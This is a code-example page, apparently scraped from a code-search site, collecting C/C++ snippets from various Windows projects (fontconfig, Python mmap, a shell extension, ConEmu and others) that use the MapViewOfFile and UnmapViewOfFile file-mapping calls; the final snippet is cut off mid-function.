Exemplo n.º 1
0
int main(int argc, char* argv[])
{
#if 0
    GtkWidget *window;
    gint my_timer;
    guint count = 1;
    gtk_init( &argc, &argv);
    window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
    gtk_window_set_decorated(GTK_WINDOW(window), FALSE);
    gtk_window_set_title(GTK_WINDOW(window), "step3");
    /* gtk_window_set_opacity(GTK_WINDOW(window), 0.5);*/
    gtk_signal_connect( GTK_OBJECT(window),"destroy",
                        GTK_SIGNAL_FUNC(destroy_window), NULL);
    gtk_widget_show(window);
    /*my_timer = gtk_timeout_add(2000,(GtkFunction)timer_event,NULL);*/
    gtk_main();
    /*gtk_timeout_remove(my_timer);*/
 	/**/
#endif
    HANDLE hMutex = CreateMutex(NULL,FALSE,"SakuraFMO");
    if ( hMutex == NULL ) {
        g_print("No SakuraFMO\n");
        return 0;
    }
    if ( WaitForSingleObject(hMutex, 1000) != WAIT_TIMEOUT ) {
        g_print("SakuraFMO\n");

        DWORD dwDesiredAccess = FILE_MAP_READ;
        BOOL bInheritHandle = TRUE;
        LPCTSTR lpName;
        HANDLE hFMO = OpenFileMapping(dwDesiredAccess,
                                      bInheritHandle,
                                      "Sakura");
        HANDLE hwnd;
        if (hFMO != NULL){
            DWORD dwFileOffsetHigh = 0;
            DWORD dwFileOffsetLow = 0;
            /* map all */
            DWORD dwNumberOfBytesToMap = 0;
            LPVOID lpBaseAddress = NULL;
            LPVOID lpMap = MapViewOfFileEx(hFMO,
                                           dwDesiredAccess,
                                           dwFileOffsetHigh,
                                           dwFileOffsetLow,
                                           dwNumberOfBytesToMap,
                                           lpBaseAddress);
            if (lpMap != NULL) {
                unsigned char *p = (unsigned char*)lpMap;
                DWORD *lp = (DWORD*)lpMap;
                int nIndex = 0;
                g_print("%p 0x%04x %ld\n", lp, lp[0], lp[0]);
                nIndex = 4;
                unsigned char kbuf[1024];
                unsigned char vbuf[1024];
                int nkbuf=-1;
                int nvbuf=-1;
                int flg = 0;
                while (nIndex < 1000){
                    if (p[nIndex] == 0x0d && p[nIndex+1] == 0x0a){
                        printf("\nkey:%s\n", kbuf);
                        vbuf[nvbuf]='\0';
                        printf("value:%s\n", vbuf);
                        nIndex++;
                        nkbuf=0;
                        nvbuf=0;
                        flg = 0;
                        if (strstr(kbuf, ".hwnd")!=NULL){
                            hwnd = (HANDLE)atoi(vbuf);
                            printf("hwnd:%d\n", hwnd);
                        }
                    } else if (p[nIndex] == 0x01){
                        printf(" => ");
                        kbuf[nkbuf] = '\0';
                        nvbuf=0;
                        flg = 1;
                    }else if (isascii(p[nIndex])==TRUE){
                        printf("%c",p[nIndex]);
                        if (flg){
                            vbuf[nvbuf++] = p[nIndex];
                        } else {
                            kbuf[nkbuf++] = p[nIndex];
                        }
                    }else {
                        g_print(" 0x%02x", p[nIndex]);
                    }
                    nIndex++;
                }

                COPYDATASTRUCT cds;
                CHAR lpszData[1024];

                wsprintf(lpszData, "SEND SSTP/1.4\r\nSender: ghostbiff\r\nScript: \\h\\s0 HWND:%d\\e\r\nHWnd: %dCharset: Shift_JISThis is DATA.\r\n", hwnd, hwnd);
                
                cds.dwData = 1;
                cds.cbData = sizeof(lpszData);
                cds.lpData = (LPVOID)lpszData;
                WPARAM wParam = (WPARAM)hwnd;/*hwnd;*/
                LPARAM lParam = (LPARAM)&cds;

                SendMessage((HANDLE)hwnd, WM_COPYDATA, wParam, lParam);
                UnmapViewOfFile(lpMap);
            }
        }
        ReleaseMutex(hMutex);
    }

    CloseHandle(hMutex);
    return 0;                   
}
Exemplo n.º 2
0
/*
 * Generic function to unmap a file from memory.
 */
int my_munmap(void *start, size_t length)
{
	UnmapViewOfFile(start);
	return 0;
}
Exemplo n.º 3
0
static int am_shm_extend(am_shm_t *am, size_t usize) {
    size_t size, osize;
    int rv = AM_SUCCESS;

    if (usize == 0 || am == NULL || am->pool == NULL) {
        return AM_EINVAL;
    }

    size = page_size(usize + SIZEOF_mem_pool);

#ifdef _WIN32    
    if (UnmapViewOfFile(am->pool) == 0) {
        am->error = GetLastError();
        return AM_ERROR;
    }
    if (CloseHandle(am->h[2]) == 0) {
        am->error = GetLastError();
        return AM_ERROR;
    }
    if (resize_file(am->h[1], size) == FALSE) {
        return AM_ERROR;
    }
    am->h[2] = CreateFileMappingA(am->h[1], NULL, PAGE_READWRITE, 0, (DWORD) size, NULL);
    am->error = GetLastError();
    if (am->h[2] == NULL) {
        return AM_ERROR;
    }
    am->pool = (struct mem_pool *) MapViewOfFile(am->h[2], FILE_MAP_ALL_ACCESS, 0, 0, 0);
    am->error = GetLastError();
    if (am->pool == NULL || (am->error != 0 && am->error != ERROR_ALREADY_EXISTS)) {
        rv = AM_ERROR;
    } else
#else
    osize = ((struct mem_pool *) am->pool)->size;
    rv = ftruncate(am->fd, size);
    if (rv == -1) {
        am->error = errno;
        return AM_EINVAL;
    }
    munmap(am->pool, osize);
    am->pool = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, am->fd, 0);
    if (am->pool == MAP_FAILED) {
        am->error = errno;
        rv = AM_ERROR;
    } else
#endif
    {
        struct mem_pool *pool = (struct mem_pool *) am->pool;
        struct mem_chunk *last = (struct mem_chunk *) AM_GET_POINTER(pool, pool->lh.next);

        if (last == NULL) {
            am->error = AM_ENOMEM;
            return AM_ERROR;
        }

        if (last->used == 0) {
            /* the last chunk is not used - add all newly allocated space there */
            last->size += size - pool->size;
        } else {
            /* the last chunk is used - add all newly allocated space right after the last chunk 
             * adjusting both - next pointer of the last chunk and head node to point to it
             */
            struct mem_chunk *e = (struct mem_chunk *) ((char *) pool + pool->size);
            e->used = 0;
            e->usize = 0;
            e->size = size - pool->size;
            e->lh.prev = AM_GET_OFFSET(pool, last);
            e->lh.next = 0;
            pool->lh.next = last->lh.next = AM_GET_OFFSET(pool, e);
        }

        *(am->global_size) = am->local_size = pool->size = size; /* new size */
        am->error = AM_SUCCESS;
    }
    return rv;
}
Exemplo n.º 4
0
static PyObject *
mmap_resize_method(mmap_object *self,
                   PyObject *args)
{
    Py_ssize_t new_size;
    CHECK_VALID(NULL);
    if (!PyArg_ParseTuple(args, "n:resize", &new_size) ||
        !is_resizeable(self)) {
        return NULL;
#ifdef MS_WINDOWS
    } else {
        DWORD dwErrCode = 0;
        DWORD off_hi, off_lo, newSizeLow, newSizeHigh;
        /* First, unmap the file view */
        UnmapViewOfFile(self->data);
        self->data = NULL;
        /* Close the mapping object */
        CloseHandle(self->map_handle);
        self->map_handle = NULL;
        /* Move to the desired EOF position */
        newSizeHigh = (DWORD)((self->offset + new_size) >> 32);
        newSizeLow = (DWORD)((self->offset + new_size) & 0xFFFFFFFF);
        off_hi = (DWORD)(self->offset >> 32);
        off_lo = (DWORD)(self->offset & 0xFFFFFFFF);
        SetFilePointer(self->file_handle,
                       newSizeLow, &newSizeHigh, FILE_BEGIN);
        /* Change the size of the file */
        SetEndOfFile(self->file_handle);
        /* Create another mapping object and remap the file view */
        self->map_handle = CreateFileMapping(
            self->file_handle,
            NULL,
            PAGE_READWRITE,
            0,
            0,
            self->tagname);
        if (self->map_handle != NULL) {
            self->data = (char *) MapViewOfFile(self->map_handle,
                                                FILE_MAP_WRITE,
                                                off_hi,
                                                off_lo,
                                                new_size);
            if (self->data != NULL) {
                self->size = new_size;
                Py_INCREF(Py_None);
                return Py_None;
            } else {
                dwErrCode = GetLastError();
                CloseHandle(self->map_handle);
                self->map_handle = NULL;
            }
        } else {
            dwErrCode = GetLastError();
        }
        PyErr_SetFromWindowsErr(dwErrCode);
        return NULL;
#endif /* MS_WINDOWS */

#ifdef UNIX
#ifndef HAVE_MREMAP
    } else {
Exemplo n.º 5
0
/*
 * Map a cache file into memory
 */
static FcCache *
FcDirCacheMapFd (int fd, struct stat *fd_stat, struct stat *dir_stat)
{
    FcCache	*cache;
    FcBool	allocated = FcFalse;

    if (fd_stat->st_size < (int) sizeof (FcCache))
	return NULL;
    cache = FcCacheFindByStat (fd_stat);
    if (cache)
    {
	if (FcCacheTimeValid (cache, dir_stat))
	    return cache;
	FcDirCacheUnload (cache);
	cache = NULL;
    }

    /*
     * Large cache files are mmap'ed, smaller cache files are read. This
     * balances the system cost of mmap against per-process memory usage.
     */
    if (FcCacheIsMmapSafe (fd) && fd_stat->st_size >= FC_CACHE_MIN_MMAP)
    {
#if defined(HAVE_MMAP) || defined(__CYGWIN__)
	cache = mmap (0, fd_stat->st_size, PROT_READ, MAP_SHARED, fd, 0);
#ifdef HAVE_POSIX_FADVISE
	posix_fadvise (fd, 0, fd_stat->st_size, POSIX_FADV_WILLNEED);
#endif
	if (cache == MAP_FAILED)
	    cache = NULL;
#elif defined(_WIN32)
	{
	    HANDLE hFileMap;

	    cache = NULL;
	    hFileMap = CreateFileMapping((HANDLE) _get_osfhandle(fd), NULL,
					 PAGE_READONLY, 0, 0, NULL);
	    if (hFileMap != NULL)
	    {
		cache = MapViewOfFile (hFileMap, FILE_MAP_READ, 0, 0,
				       fd_stat->st_size);
		CloseHandle (hFileMap);
	    }
	}
#endif
    }
    if (!cache)
    {
	cache = malloc (fd_stat->st_size);
	if (!cache)
	    return NULL;

	if (read (fd, cache, fd_stat->st_size) != fd_stat->st_size)
	{
	    free (cache);
	    return NULL;
	}
	allocated = FcTrue;
    }
    if (cache->magic != FC_CACHE_MAGIC_MMAP ||
	cache->version < FC_CACHE_CONTENT_VERSION ||
	cache->size != (intptr_t) fd_stat->st_size ||
	!FcCacheTimeValid (cache, dir_stat) ||
	!FcCacheInsert (cache, fd_stat))
    {
	if (allocated)
	    free (cache);
	else
	{
#if defined(HAVE_MMAP) || defined(__CYGWIN__)
	    munmap (cache, fd_stat->st_size);
#elif defined(_WIN32)
	    UnmapViewOfFile (cache);
#endif
	}
	return NULL;
    }

    /* Mark allocated caches so they're freed rather than unmapped */
    if (allocated)
	cache->magic = FC_CACHE_MAGIC_ALLOC;
	
    return cache;
}
Exemplo n.º 6
0
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpBlah)
{
    if(dwReason == DLL_PROCESS_ATTACH)
    {
        HANDLE hThread = NULL;
        hinstMain = hinstDLL;

        HANDLE hDllMainThread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());

        if(!(hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CaptureThread, (LPVOID)hDllMainThread, 0, 0)))
        {
            CloseHandle(hDllMainThread);
            return FALSE;
        }

        CloseHandle(hThread);
    }
    else if(dwReason == DLL_PROCESS_DETACH)
    {
        /*FreeGLCapture();
        FreeD3D9Capture();
        FreeD3D10Capture();
        FreeD3D101Capture();
        FreeD3D11Capture();*/

        if(hSignalRestart)
            CloseHandle(hSignalRestart);
        if(hSignalEnd)
            CloseHandle(hSignalEnd);
        if(hSignalReady)
            CloseHandle(hSignalReady);
        if(hSignalExit)
        {
            SetEvent(hSignalExit);
            CloseHandle(hSignalExit);
        }

        if (dummyEvent)
            CloseHandle(dummyEvent);

        if(infoMem)
        {
            UnmapViewOfFile(lpSharedMemory);
            CloseHandle(hInfoFileMap);
        }

        hFileMap = NULL;
        lpSharedMemory = NULL;

        if(hwndSender)
            DestroyWindow(hwndSender);

        for(UINT i=0; i<2; i++)
        {
            if(textureMutexes[i])
                CloseHandle(textureMutexes[i]);
        }

        if(logOutput.is_open())
            logOutput.close();
    }

    return TRUE;
}
Exemplo n.º 7
0
Arquivo: tag.cpp Projeto: chenwp/shuax
int GetWmaTag(const char *filename, wchar_t *format,char *path)
{

	HANDLE hfile = CreateFile(filename,
			GENERIC_READ,
			FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
			FILE_ATTRIBUTE_NORMAL, NULL);

	if (hfile == INVALID_HANDLE_VALUE)
	{
		return -1;
	}

	HANDLE hfilemap = CreateFileMapping(hfile, NULL, PAGE_READONLY, 0, 0, NULL);
	CloseHandle(hfile);

	unsigned char *pfile = (unsigned char*) MapViewOfFile(hfilemap, FILE_MAP_READ, 0, 0, 0);
	CloseHandle(hfilemap);
	if (memcmp( asf_file_guid, pfile, 16) != 0)
	{
		UnmapViewOfFile(pfile);
		return -1;
	}
	long *charStep = setCharStep(asf_tags_guid, 16);
	long answer;
	if ((answer = sundaySearch(pfile, asf_tags_guid, charStep, getFileSize(filename), 16)) >= 0)
	{
		answer += 24;
		struct wma_tags *tag = (struct wma_tags *) & pfile[answer];
		answer += sizeof(struct wma_tags);
		answer += tag->titleLength;
		wchar_t f_name[1024];
		f_name[0]=0;
		while(*format!=0)
		{
			if(*format!=L'%')
			{
				wchar_t temp[20];
				wsprintfW(temp,L"%c",*format);
				wcscat(f_name,temp);
			}
			else
			{
				format++;
				switch(*format)
				{
					//星期
					case 'a':
					case 'A':
						wcscat(f_name,tag->artistLength == 0 ? L"未知歌手" : (wchar_t*)&pfile[answer]);
						break;
					case 't':
					case 'T':
						wcscat(f_name,tag->titleLength == 0 ? L"未知歌曲" : (wchar_t*)&pfile[answer-tag->titleLength]);
						break;
				}
			}
			format++;
		}
		wcscat(f_name,L".wma");
		wchar_t utext[512];
		wchar_t upath[512];
		MultiByteToWideChar(CP_ACP, 0, filename, -1, utext, 512);
		MultiByteToWideChar(CP_ACP, 0, path, -1, upath, 512);
		wcscat(upath,f_name);
		//
		char newpath[1024];
		WideCharToMultiByte( CP_ACP,0,upath,-1,newpath,1024,NULL,NULL );
		mkpathEx(newpath);
		MoveFileW(utext,upath);
	}
	else
	{
		UnmapViewOfFile(pfile);
		return -1;
	}
	UnmapViewOfFile(pfile);
	return 0;
}
Exemplo n.º 8
0
/* Unmap file mapping */
int munmap(void *start, size_t length) {
    (void) length;
    return !UnmapViewOfFile(start);
}
Exemplo n.º 9
0
HRESULT WINAPI ObjectFromLresult( LRESULT result, REFIID riid, WPARAM wParam, void **ppObject )
{
    WCHAR atom_str[sizeof(lresult_atom_prefix)/sizeof(WCHAR)+3*8+3];
    HANDLE server_proc, server_mapping, mapping;
    DWORD proc_id, size;
    IStream *stream;
    HGLOBAL data;
    void *view;
    HRESULT hr;
    WCHAR *p;

    TRACE("%ld %s %ld %p\n", result, debugstr_guid(riid), wParam, ppObject );

    if(wParam)
        FIXME("unsupported wParam = %lx\n", wParam);

    if(!ppObject)
        return E_INVALIDARG;
    *ppObject = NULL;

    if(result != (ATOM)result)
        return E_FAIL;

    if(!GlobalGetAtomNameW(result, atom_str, sizeof(atom_str)/sizeof(WCHAR)))
        return E_FAIL;
    if(memcmp(atom_str, lresult_atom_prefix, sizeof(lresult_atom_prefix)))
        return E_FAIL;
    p = atom_str + sizeof(lresult_atom_prefix)/sizeof(WCHAR);
    proc_id = strtoulW(p, &p, 16);
    if(*p != ':')
        return E_FAIL;
    server_mapping = ULongToHandle( strtoulW(p+1, &p, 16) );
    if(*p != ':')
        return E_FAIL;
    size = strtoulW(p+1, &p, 16);
    if(*p != 0)
        return E_FAIL;

    server_proc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, proc_id);
    if(!server_proc)
        return E_FAIL;

    if(!DuplicateHandle(server_proc, server_mapping, GetCurrentProcess(), &mapping,
                0, FALSE, DUPLICATE_CLOSE_SOURCE|DUPLICATE_SAME_ACCESS))
        return E_FAIL;
    CloseHandle(server_proc);
    GlobalDeleteAtom(result);

    view = MapViewOfFile(mapping, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(mapping);
    if(!view)
        return E_FAIL;

    data = GlobalAlloc(GMEM_FIXED, size);
    memcpy(data, view, size);
    UnmapViewOfFile(view);
    if(!data)
        return E_OUTOFMEMORY;

    hr = CreateStreamOnHGlobal(data, TRUE, &stream);
    if(FAILED(hr)) {
        GlobalFree(data);
        return hr;
    }

    hr = CoUnmarshalInterface(stream, riid, ppObject);
    IStream_Release(stream);
    return hr;
}
Exemplo n.º 10
0
///////////////////////////////////////////////////////////////////////////////////////////
// vytvor usek sdilene pameti
BOOL CSharedMemory::Create(LPCTSTR Name, DWORD Length, BOOL WriteAccess)
{char eName[MAX_PATH + 1];
 SECURITY_DESCRIPTOR *pSD;
 SECURITY_ATTRIBUTES *pSA;

 // pokud je j*z vytvoreno/namapovano vrat FALSE
 if (m_MapAddress != NULL) return(FALSE);

 // spocti delku hlavicky
 m_DataLength = Length;
 m_Length     = Length + m_PageSize;

 // pokus se vytvorit file-mapping objekt
 m_MapFile = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, m_Length, Name);
 if ((m_MapFile == NULL) || (GetLastError() ==  ERROR_ALREADY_EXISTS))
 {// nepovedlo se (nebo objekt tohoto jmena uz existuje)
  if (m_MapFile != NULL) CloseHandle(m_MapFile);
  m_MapFile = NULL;
  m_Length = m_DataLength = 0;
  return(FALSE);
 }

 // namapuj ho do pameti
 m_MapAddress = MapViewOfFile(m_MapFile, FILE_MAP_WRITE, 0, 0, 0);
 if (m_MapAddress == NULL)
 {// nepovedlo se
  CloseHandle(m_MapFile);
  m_MapFile = NULL;
  m_Length = m_DataLength = 0;
  return(FALSE);
 }

 // inicializuj ukazatele na promenne v hlavicce
 m_pLength    = (DWORD *)((PBYTE)m_MapAddress + sizeof(SM_HDR));
 m_pCurrent   = (DWORD *)((PBYTE)m_pLength + sizeof(DWORD));
 m_pLastWrite = (DWORD *)((PBYTE)m_pCurrent + sizeof(DWORD));
 pSA = (SECURITY_ATTRIBUTES *)((PBYTE)m_pLastWrite + sizeof(DWORD));
 pSD = (SECURITY_DESCRIPTOR *)((PBYTE)pSA + sizeof(SECURITY_ATTRIBUTES));

 // pro objekt udalosti na bufferu vytvor bezpecnostni deskriptor
 // povolujici vsechno vsem
 ZeroMemory(pSA, sizeof(SECURITY_ATTRIBUTES));
 ZeroMemory(pSD, SECURITY_DESCRIPTOR_MIN_LENGTH);
 pSA->nLength = sizeof(SECURITY_ATTRIBUTES);
 pSA->lpSecurityDescriptor = pSD;
 pSA->bInheritHandle = TRUE;
 if (!InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION))
 {
  UnmapViewOfFile(m_MapAddress); m_MapAddress = NULL;
  CloseHandle(m_MapFile);        m_MapFile    = NULL;
  m_Length = m_DataLength = 0;
  return(FALSE);
 }
 if (!SetSecurityDescriptorDacl(pSD, TRUE, (PACL) NULL, FALSE))
 {
  UnmapViewOfFile(m_MapAddress); m_MapAddress = NULL;
  CloseHandle(m_MapFile);        m_MapFile    = NULL;
  m_Length = m_DataLength = 0;
  return(FALSE);
 }

 // vytvor event pro udalosti na bufferu
 sprintf(eName,"e%s",Name);
 m_Event = CreateEvent(pSA, TRUE, FALSE, eName); 
 if ((m_Event == NULL) || (GetLastError() == ERROR_ALREADY_EXISTS))
 {// nepovedlo se (nebo objekt tohoto jmena uz existuje)
  UnmapViewOfFile(m_MapAddress); m_MapAddress = NULL;
  CloseHandle(m_MapFile);        m_MapFile    = NULL;
  m_Length = m_DataLength = 0;
  return(FALSE);
 }
 
 // inicializuj buffer pro zapis
 m_Data          = (LPVOID)((BYTE *)m_MapAddress + m_PageSize);
 (*m_pLength)    = m_DataLength;
 (*m_pCurrent)   = 0L;
 m_Top = m_Current = (PBYTE)m_Data;
 m_Bot           = m_Top + m_DataLength; 
 (*m_pLastWrite) = 0L;

 // nastav pozadovany pristup
 if (!WriteAccess) DenyWriteAccess();
 m_Write = WriteAccess;

 // uspesny navrat
 return(TRUE);
}
Exemplo n.º 11
0
///////////////////////////////////////////////////////////////////////////////////////////
// pripoj se na usek sdilene pameti
BOOL CSharedMemory::Open(LPCTSTR Name, BOOL WriteAccess, char *ErrorInfo)
{char eName[MAX_PATH + 1];

 // pro jistotu ...
 if (ErrorInfo != NULL) *ErrorInfo = '\0';
 
 // pokud je j*z vytvoreno/namapovano ...
 if (m_MapAddress != NULL) 
 {// ... vrat FALSE
  if (ErrorInfo != NULL) sprintf(ErrorInfo, "m_MapAddress != NULL");
  return(FALSE);
 }

 // pokus se pripojit na file-mapping objekt
 m_MapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, Name);
 if (m_MapFile == NULL) 
 {// nepovedlo se
  if (ErrorInfo != NULL) sprintf(ErrorInfo, "OpenFileMapping %d", GetLastError());
  return(FALSE);
 }

 // namapuj ho do pameti
 m_MapAddress = MapViewOfFile(m_MapFile, WriteAccess ? FILE_MAP_WRITE : FILE_MAP_READ, 0, 0, 0);
 if (m_MapAddress == NULL)
 {// nepovedlo se
  if (ErrorInfo != NULL) sprintf(ErrorInfo, "MapViewOfFile %d", GetLastError());
  CloseHandle(m_MapFile);
  m_MapFile = NULL;
  return(FALSE);
 }

 // pripoj se na event pro udalosti na bufferu
 sprintf(eName,"e%s",Name);
 m_Event = OpenEvent(EVENT_ALL_ACCESS,FALSE,eName); 
 if (m_Event == NULL)
 {// nepovedlo se 
  if (ErrorInfo != NULL) sprintf(ErrorInfo, "OpenEvent %d", GetLastError());
  UnmapViewOfFile(m_MapAddress); m_MapAddress = NULL;
  CloseHandle(m_MapFile);        m_MapFile    = NULL;
  return(FALSE);
 }

 // inicializuj ukazatele na promenne v hlavicce
 m_pLength    = (DWORD *)((PBYTE)m_MapAddress + sizeof(SM_HDR));
 m_pCurrent   = (DWORD *)((PBYTE)m_pLength + sizeof(DWORD));
 m_pLastWrite = (DWORD *)((PBYTE)m_pCurrent + sizeof(DWORD));

 // inicializuj lokalni ridici promenne bufferu
 m_DataLength = *m_pLength;
 m_Length     = m_DataLength + m_PageSize;
 m_Data       = (LPVOID)((BYTE *)m_MapAddress + m_PageSize);
 m_Top        = (PBYTE)m_Data;
 m_Bot        = m_Top + m_DataLength; 
 m_Current    = m_Top + (*m_pCurrent);
 
 // nastav nejvyssi povoleny pristup
 m_Write = WriteAccess;

 // uspesny navrat
 return(TRUE);
}
Exemplo n.º 12
0
HRESULT CSimpleShlExt::InvokeCommand ( LPCMINVOKECOMMANDINFO pCmdInfo )
{
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION	processInformation;
	TCHAR	szDir[MAX_PATH];
	HKEY	hKey;
	DWORD	dwSize;
	HANDLE	hMapFile,
			hDoneEvent,
			hWait[2];
	LPVOID	lpMapAddress;
	unsigned __int64 nMapSize = m_nFilesLength*sizeof(TCHAR);

	// If lpVerb really points to a string, ignore this function call and bail out.
	if ( 0 != HIWORD( pCmdInfo->lpVerb ))
		return E_INVALIDARG;

	// Get the command index - the only valid one is 0.
	if (LOWORD(pCmdInfo->lpVerb) != 0)
		return E_INVALIDARG;

	// Get RenameIt.exe directory
	if (::RegOpenKey(HKEY_LOCAL_MACHINE, _T("Software\\Rename-It!"), &hKey) != ERROR_SUCCESS)
	{
		::MessageBox(pCmdInfo->hwnd, _T("Unable to open registry key.\nPlease re-install the application."), _T("Rename-It!"), MB_ICONERROR);
		return S_OK;
	}
	dwSize = sizeof(szDir)/sizeof(szDir[0]);
	if (::RegQueryValueEx(hKey, _T("ExeDir"), NULL, NULL, (LPBYTE)szDir, &dwSize) != ERROR_SUCCESS)
	{
		::MessageBox(pCmdInfo->hwnd, _T("Unable to read registry key.\nPlease re-install the application."), _T("Rename-It!"), MB_ICONERROR);
		return S_OK;
	}
	::RegCloseKey(hKey);

	// Create file mapping
	tstring strMapFileName;
	strMapFileName.reserve(32);
	while (true)
	{
		// Random name
		strMapFileName = _T("RenIt-MapFileEvent-");
		for (int i=0; i<10; ++i)
			strMapFileName += _T("0123456789ABCDEF")[rand() % 16];

		// Create file mapping
		hMapFile = ::CreateFileMapping(
			INVALID_HANDLE_VALUE,			// Current file handle
			NULL,							// Default security
			PAGE_READWRITE,					// Read/write permission
			DWORD(nMapSize >> 32),			// Max. object size (high-order)
			DWORD(nMapSize),				// Max. object size (low-order)
			strMapFileName.c_str());		// Name of mapping object
		if (hMapFile == NULL)
		{
			::MessageBox(pCmdInfo->hwnd, _T("Unable to create file mapping."), _T("Rename-It!"), MB_ICONERROR);
			return S_OK;
		}
		if (::GetLastError() != ERROR_ALREADY_EXISTS)
			break;
		::CloseHandle(hMapFile);
	}
	// Copy data
	lpMapAddress = ::MapViewOfFile(
		hMapFile,							// Handle to mapping object
		FILE_MAP_ALL_ACCESS,				// Read/write permission
		0,									// Max. object size (high-order)
		0,									// Max. object size (low-order)
		nMapSize);							// Map entire file
	if (lpMapAddress == NULL)
	{
		::MessageBox(pCmdInfo->hwnd, _T("Could not map view of file."), _T("Rename-It!"), MB_ICONERROR);
		return S_OK;
	}
	memcpy(lpMapAddress, m_szFiles, nMapSize);

	// Create event
	tstring strEventName;
	strEventName.reserve(32);
	while (true)
	{
		// Random name
		strEventName = _T("RenIt-DoneEvent-");
		for (int i=0; i<10; ++i)
			strEventName += _T("0123456789ABCDEF")[rand() % 16];

		// Create event
		if ((hDoneEvent=::CreateEvent(NULL, TRUE, FALSE, strEventName.c_str())) == NULL)
		{
			::MessageBox(pCmdInfo->hwnd, _T("Unable to create event."), _T("Rename-It!"), MB_ICONERROR);
			return S_OK;
		}
		if (::GetLastError() != ERROR_ALREADY_EXISTS)
			break;
		::CloseHandle(hDoneEvent);
	}

	// Parameters
	tstring strApplication;
	strApplication.reserve(MAX_PATH);
	strApplication = _T("\"");
	strApplication += szDir;
	strApplication += _T("\\RenameIt.exe\"");

	TCHAR szMaxSize[32];
	_stprintf_s(szMaxSize, _T("%I64u"), nMapSize);

	tstring strCommandLine;
	strCommandLine.reserve(MAX_PATH);
	strCommandLine += strApplication;
	strCommandLine += _T(" /$shell$ext$ ");
	strCommandLine += strMapFileName;
	strCommandLine += _T(":");
	strCommandLine += szMaxSize;
	strCommandLine += _T(":");
	strCommandLine += strEventName;

	// Lauch the program
	ZeroMemory(&startupInfo, sizeof(startupInfo));
	startupInfo.cb = sizeof(startupInfo);

	std::auto_ptr<TCHAR> szCommandLine(new TCHAR[strCommandLine.length() + 1]);
	_tcscpy(szCommandLine.get(), strCommandLine.c_str());

	if (!::CreateProcess(NULL, szCommandLine.get(), NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation))
	{
		LPTSTR lpMsgBuf = NULL;
		DWORD dwError = GetLastError();
		FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
			NULL,
			dwError,
			MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
			(LPTSTR) &lpMsgBuf,
			0,
			NULL );

		if (lpMsgBuf)
		{
			// Display the error.
			MyFormatMessage(IDS_CREATE_RENAMEIT_PROCESS_ERROR, strCommandLine.c_str(), lpMsgBuf);

			// Free the buffer.
			LocalFree(lpMsgBuf);
		}
		else
			::MessageBox(NULL, _T("Critical error."), _T("Rename-It!"), MB_ICONSTOP);

		return S_OK;
	}

	// Wait
	hWait[0] = processInformation.hProcess;
	hWait[1] = hDoneEvent;
	::WaitForMultipleObjects(sizeof(hWait)/sizeof(hWait[0]), hWait, FALSE, INFINITE);
	::CloseHandle(processInformation.hThread);
	::CloseHandle(processInformation.hProcess);
	UnmapViewOfFile(lpMapAddress);
	return S_OK;
}
Exemplo n.º 13
0
Arquivo: iml.c Projeto: mingpen/OpenNT
POFFSET
ImlWriteFileContents(
    PINSTALLATION_MODIFICATION_LOGFILE pIml,
    PWSTR FileName
    )
{
    HANDLE hFindFirst, hFile, hMapping;
    WIN32_FIND_DATA FindFileData;
    PVOID p;
    IML_FILE_RECORD_CONTENTS ImlFileContentsRecord;

    hFindFirst = FindFirstFile( FileName, &FindFileData );
    if (hFindFirst == INVALID_HANDLE_VALUE) {
        return 0;
        }
    FindClose( hFindFirst );

    ImlFileContentsRecord.LastWriteTime = FindFileData.ftLastWriteTime;
    ImlFileContentsRecord.FileAttributes = FindFileData.dwFileAttributes;
    if (!(ImlFileContentsRecord.FileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
        ImlFileContentsRecord.FileSize = FindFileData.nFileSizeLow;
        hFile = CreateFile( FileName,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            NULL,
                            OPEN_EXISTING,
                            0,
                            NULL
                          );
        if (hFile == INVALID_HANDLE_VALUE) {
            printf( "*** CreateFile( '%ws' ) failed (%u)\n", FileName, GetLastError() );
            return 0;
            }

        if (ImlFileContentsRecord.FileSize != 0) {
            hMapping = CreateFileMapping( hFile,
                                         NULL,
                                         PAGE_READONLY,
                                         0,
                                         0,
                                         NULL
                                       );
            CloseHandle( hFile );
            hFile = NULL;
            if (hMapping == NULL) {
                printf( "*** CreateFileMapping( '%ws' ) failed (%u)\n", FileName, GetLastError() );
                return 0;
                }

            p = MapViewOfFile( hMapping,
                               FILE_MAP_READ,
                               0,
                               0,
                               0
                             );
            CloseHandle( hMapping );
            if (p == NULL) {
                printf( "*** MapViewOfFile( '%ws' ) failed (%u)\n", FileName, GetLastError() );
                return 0;
                }
            }
        else {
            CloseHandle( hFile );
            p = NULL;
            }
        }
    else {
        ImlFileContentsRecord.FileSize = 0;
        p = NULL;
        }

    ImlFileContentsRecord.Contents = ImlWrite( pIml, p, ImlFileContentsRecord.FileSize );
    if (p != NULL) {
        UnmapViewOfFile( p );
        }

    return ImlWrite( pIml,
                     &ImlFileContentsRecord,
                     sizeof( ImlFileContentsRecord )
                   );
}
Exemplo n.º 14
0
// Returns HWND of ...
//  aiType==0: Gui console DC window
//        ==1: Gui Main window
//        ==2: Console window
//        ==3: Back window
HWND GetConEmuHWND(int aiType)
{
	//CESERVER_REQ *pIn = NULL;
	//CESERVER_REQ *pOut = NULL;
	DWORD nLastErr = GetLastError();
	HWND FarHwnd = NULL, ConEmuHwnd = NULL, ConEmuRoot = NULL, ConEmuBack = NULL;
	size_t cchMax = 128;
	wchar_t *szGuiPipeName = NULL;

	FarHwnd = myGetConsoleWindow();
	if (!FarHwnd || (aiType == 2))
	{
